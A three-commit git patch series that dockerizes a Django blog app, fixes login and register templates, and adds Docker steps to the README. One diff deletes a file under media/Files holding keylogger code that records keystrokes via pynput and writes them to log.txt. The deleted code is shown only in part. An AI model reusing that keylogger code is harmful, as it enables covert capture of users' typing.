From 79b365a6e324fc0c82c58ddd861529934cc8a447 Mon Sep 17 00:00:00 2001 From: sraonekumar Date: Thu, 1 Jun 2023 20:27:08 +0530 Subject: [PATCH 1/3] Dockerized the app and resolved /register, /login issues --- .dockerignore | 54 ++++++++++++++++++ .gitignore | 52 +++++++++++++++++ Dockerfile | 24 ++++++++ django_web_app/blog/templates/blog/base.html | 2 +- django_web_app/db.sqlite3 | Bin 151552 -> 155648 bytes django_web_app/django_web_app/settings.py | 2 +- django_web_app/media/Files/main.py | 52 ----------------- .../users/templates/users/login.html | 2 +- .../users/templates/users/register.html | 2 +- requirements.txt | Bin 0 -> 212 bytes 10 files changed, 134 insertions(+), 56 deletions(-) create mode 100644 .dockerignore create mode 100644 .gitignore create mode 100644 Dockerfile delete mode 100644 django_web_app/media/Files/main.py create mode 100644 requirements.txt diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 00000000..811e08eb --- /dev/null +++ b/.dockerignore @@ -0,0 +1,54 @@ + +.Screenshots/ + +# Django-related files and directories +*.pyc +*.pyo +__pycache__/ +*.egg-info/ +*.pyc +*.swp +*.swo +*.sqlite3 + +# Static files +/staticfiles/ +static/ + +# Media files +/media/ + +# Environment variables and sensitive information +.env +.env.* + +# IDE and editor files +.vscode/ +.idea/ +*.sublime* +*.swp + +# Log files +*.log +logs/ + +# Dependency directories +venv/ +env/ +pipenv/ +.venv/ + +# Compiled Python files +*.pyc +*.pyo + +# Other build-related files +Dockerfile +docker-compose.yml + +# Ignore everything else except the required files +* +!.dockerignore +!requirements.txt +!manage.py +!django_web_app/ diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..e9363a3b --- /dev/null +++ b/.gitignore @@ -0,0 +1,52 @@ +# Django-related files and directories +*.pyc +*.pyo +__pycache__/ +*.egg-info/ +*.pyc +*.swp +*.swo +*.sqlite3 + +# Static files +/staticfiles/ +static/ + +# Media files +/media/ + +# Environment variables and sensitive information +.env +.env.* + +# IDE and editor files +.vscode/ +.idea/ +*.sublime* +*.swp + +# Compiled files +*.pyc +*.pyo + +# Log files +*.log +logs/ + +# Dependency directories +venv/ +env/ +pipenv/ +.venv/ + +# Compiled Python files +*.pyc +*.pyo + +# macOS-specific files +.DS_Store + +# Windows-specific files +Thumbs.db + +#Screenshots diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 00000000..de694496 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,24 @@ +# Use an official Python runtime as the base image +FROM python:3.9 + +# Set the working directory in the container +WORKDIR /app + +# Copy the requirements file to the working directory + +COPY ./requirements.txt . + +COPY ./django_web_app /app/django_web_app + +# Install the Python dependencies +RUN pip install --no-cache-dir -r requirements.txt + +# Copy the Django project code to the working directory +WORKDIR /app/django_web_app +# Expose the port on which your Django application will run (if applicable) +EXPOSE 8000 + +# Run the Django development server +CMD ["python", "manage.py", "migrate"] +CMD ["python", "manage.py", "runserver", "0.0.0.0:8000"] + diff --git a/django_web_app/blog/templates/blog/base.html b/django_web_app/blog/templates/blog/base.html index c0cb7cf7..3017ac3e 100644 --- a/django_web_app/blog/templates/blog/base.html +++ b/django_web_app/blog/templates/blog/base.html @@ -1,4 +1,4 @@ -{% load staticfiles %} +{% load static %} diff --git a/django_web_app/db.sqlite3 b/django_web_app/db.sqlite3 index 6b6fab1dccdb9d83073a5de26ad24f1417d89c9d..f8663195fa3f5491ecd47820863373a762f377d0 100644 GIT binary patch delta 1940 zcma)7TWs4@81{*Cv6DC_-5NU9v9(*b(rrm>Cr;vw(q_%lq-|2twCUv~OB&}^JNGtC zk?2Yh0`XA5V%7w^fP}^a8!>I(jJdy5}IkVCTRWK+mC`pi+A%8yuLd)`Q1fT&6Pj;JvnRO@^? zrS_c$Wqd-r>^G?p)1)UpU(JvtMaSZNl`F^QEAo)amMhg*J}z)EA-)*nxqP~sp-I|i zCLLyy>Y!-1opLjzg=K6m2ixB&M;hFYM8)Qd$#|8E70ZRidaTHmg>0pgE#xbIi!inw zf~K5yW?-irBDfubyq!$CT$nHZuRKV`L9&gf+Uv@DFg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QSy0fjDt1R{>|8&*du%g65MS5@%_9XPQCUbLj-OOzd6^NDu z;zP=)4+?1oVJ}g6iHj9AU&8P$BPg<$o`hWbP!dV@IZ^Q8z<191IKSWd{mx)s9L$Mh z<&H)|NF@s&3t-VcUU$UYNb2{@K9A&(cUniYg1u7rdO}uxwET)m5irQ(BF>|RkMItj z#~=oEZ=eCQLBAJ-tmdzc%e))HnRHJmlj`o5cUkz_&9tw(zc-#r#ghpSgW4-POL-N# zv}7#QmrSKYp`;d(6rMi}k&EF(EEx(%dgF-@>npo~_it5u)!8M!%_xN7z1d_F z;RSsa1FdaK0H5cOZ$rCee<&XDsq90&OI2amkq&oh-8;qFnR#h03NCX|#%!y6jQ)ti zGf)jJ4sSTq4Yffq>NQvZ4pz4pqiiunbu;f@ZlK&$izwUP6=#JrS5FA8({30#Kxbl5 zLziQ4oN7^UvZDdF%k73?VJEw7Vnt4CpiV8D0%Z!05d4e3@Ci=h1H6Z~@fMC4`*RS( z@pC0~= 1: - count = 0 - write_file(keys) - keys = [] - - -def write_file(keys): - with open("log.txt","a") as f: - for key in keys: - k=str(key).replace("'","") - if k.find("backspace") > 0: - f.write("Backspace_key ") - elif k.find("enter") > 0: - f.write('\n') - elif k.find("shift") > 0: - f.write("Shift_key ") - elif k.find("space") > 0: - f.write(" ") - elif k.find("caps_lock") >0 : - f.write("caps_Lock_key ") - elif k.find("Key"): - f.write(k) - - -def on_release(key): - global exit - if key == Key.esc: - exit += 1 - if exit == 5 : - return False - -exit = 0 -with Listener(on_press=on_press, on_release=on_release) as listener: - listener.join() - diff --git a/django_web_app/users/templates/users/login.html b/django_web_app/users/templates/users/login.html index 11195a7b..99829968 100644 --- a/django_web_app/users/templates/users/login.html +++ b/django_web_app/users/templates/users/login.html @@ -6,7 +6,7 @@ {% csrf_token %}
Log In - {{ form|crispy }} + {{ form }}
diff --git a/django_web_app/users/templates/users/register.html b/django_web_app/users/templates/users/register.html index 3c3df17f..4739267f 100644 --- a/django_web_app/users/templates/users/register.html +++ b/django_web_app/users/templates/users/register.html @@ -6,7 +6,7 @@ {% csrf_token %}
Join Today - {{ form|crispy }} + {{ form }}
diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000000000000000000000000000000000000..f688ef13d7982f6c318b66cbaab3992613f3bfdb GIT binary patch literal 212 zcmYk0OA5kJ3`Nga=u%oMpH7s1{ndvxF zsd5rZbw Date: Thu, 1 Jun 2023 20:32:18 +0530 Subject: [PATCH 2/3] Update README.md --- README.md | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/README.md b/README.md index 7aa62188..e71293ec 100644 --- a/README.md +++ b/README.md @@ -54,6 +54,13 @@ This project was done by me as a assignment for an internship. python django_web_app/manage.py runserver In your web browser enter the address : http://localhost:8000 or http://127.0.0.1:8000/ + +

Docker Setup :

+ + docker build -t . + docker run -d -p 8080:8000 + + Hit the browser with http://localhost:8000 or http://127.0.0.1:8000/ # Working: [![Watch the video](https://img.youtube.com/vi/qIK-vfTig6c/0.jpg)](https://youtu.be/qIK-vfTig6c) From cabc7e13b9f9be952a19e1fd42b729e51cc9c3af Mon Sep 17 00:00:00 2001 From: sraonekumar <69476766+sraonekumar@users.noreply.github.com> Date: Thu, 1 Jun 2023 20:35:11 +0530 Subject: [PATCH 3/3] Update README.md Updated Readme file with Docker setup instructions --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index e71293ec..a747a313 100644 --- a/README.md +++ b/README.md @@ -57,8 +57,8 @@ This project was done by me as a assignment for an internship.

Docker Setup :

- docker build -t . - docker run -d -p 8080:8000 + docker build -t image-name .
+ docker run -d -p 8080:8000 image-name Hit the browser with http://localhost:8000 or http://127.0.0.1:8000/